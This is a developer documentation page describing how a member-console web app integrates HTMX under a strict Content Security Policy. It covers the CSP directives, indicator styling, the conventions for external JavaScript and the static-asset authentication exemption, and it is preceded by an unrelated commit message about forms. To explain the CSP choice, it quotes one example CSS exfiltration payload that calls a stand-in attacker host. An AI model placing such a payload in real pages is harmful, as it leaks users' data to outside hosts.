Every form on both surfaces is now a declared FormSpec in internal/forms, rendered through the shared form part and parsed by its handler through the same declaration. Create and edit share one field list, refusals answer 422 with values carried back, and layout, buttons and errors come from one part. Also adds the form registry with its invariant and route-mapping tests, the raw-form, filler-copy and Go em-dash lint rules, declared action triggers, and the capture-coverage cross-check. The forms-library change is archived under openspec/changes/archive/2026-09-05-forms-library.
5.2 KiB
title, audience, summary
| title | audience | summary | |
|---|---|---|---|
| HTMX Setup |
|
How HTMX is integrated under a strict CSP, and the conventions for adding external JS and CSS to HTMX partials. |
HTMX Setup
This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).
Overview
The member-console uses HTMX for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the HTMX partial pattern: the server renders HTML fragments that HTMX swaps into the DOM.
Version
HTMX is vendored as a static asset at internal/embeds/static/htmx.min.js (currently v4.0.0; upgraded from v2.0.4 in 10k.3). The migration is complete: no htmx-2-compat shim, no implicitInheritance flag, and lint fails htmx 2 residue (hx-disinherit, camelCase event names, compat references). Attribute inheritance is explicit: only the page shells mark hx-boost:inherited and the CSRF hx-headers:inherited; everything else declares its own attributes (see design-system.md §7).
Loading
HTMX is loaded via a <script defer> tag in the page templates (operator.html, index.html, products.html, billing.html). The defer attribute ensures it loads after the DOM is parsed.
CSP Configuration
The CSP is defined in internal/middleware/security.go and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.
Relevant CSP Directives
script-src 'self' https://unpkg.com/htmx.org@*
style-src 'self'
script-src: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.style-src: Only allows styles from external.cssfiles served by our origin. Inline<style>tags andelement.style.*assignments are blocked.
Why No 'unsafe-inline'
Adding 'unsafe-inline' to script-src would defeat most XSS protection. For style-src, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.
HTMX + CSP Interaction
HTMX has two behaviors that conflict with a strict style-src 'self' policy:
1. Indicator Styles (Solved)
htmx 4 delivers its default .htmx-indicator CSS through Constructable Stylesheets rather than an injected inline <style> tag (which is what used to violate style-src 'self' in htmx 2). We still disable it so app.css remains the single source of indicator styling:
<meta name="htmx-config" content='{"includeIndicatorCSS": false, "noSwap": [204, 304, 403, "5xx"]}'>
(The noSwap list is the error-response swap contract; see design-system.md §7.)
The equivalent indicator styles are provided in internal/embeds/static/app.css:
.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }
This gives us full control over indicator styling without any CSP violation.
2. Swap Transitions (Accepted)
htmx 4 animates swaps through the View Transitions API, which is disabled by default (htmx.config.transitions = false) and stays disabled here — content appears instantly, which is also what the deterministic screen captures rely on.
Why not 'unsafe-inline' for styles? While less risky than 'unsafe-inline' on script-src, it still enables CSS-based exfiltration (e.g., background: url(attacker.com/steal?data=...)). Nothing in the current setup needs it.
External JavaScript
All JavaScript must be in external .js files under internal/embeds/static/ to comply with CSP. Never add inline <script> tags to templates — they will be silently blocked.
Current external scripts (a representative sample, not exhaustive; see internal/embeds/static/):
error-handler.js— HTMX error handling and toast notificationsconfirm-action-modal.js— the shared confirm dialog every destructive action opens through (docs/design-system.md"Confirm modal")
When adding new interactive behavior to HTMX partials, follow this pattern:
- Create a new
.jsfile ininternal/embeds/static/ - Add a
<script defer>tag to the relevant page template - If the script manipulates elements inside HTMX partials, listen for
htmx:after:swap(or usehtmx.onLoad) to re-initialize after swaps; htmx 4 event names are colon-separated (htmx:phase:action)
Static Asset Authentication
Static assets under /static/ are exempted from authentication middleware (internal/auth/auth.go). This is necessary because:
- Static assets are public resources (CSS, JS, images, icons)
- Some browser fetches (e.g.,
<link rel="manifest">) use CORS mode withcredentials: 'omit', meaning session cookies are not sent - Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow
External CSS
All custom styles are in internal/embeds/static/app.css. This file consolidates styles that were previously inline <style> blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.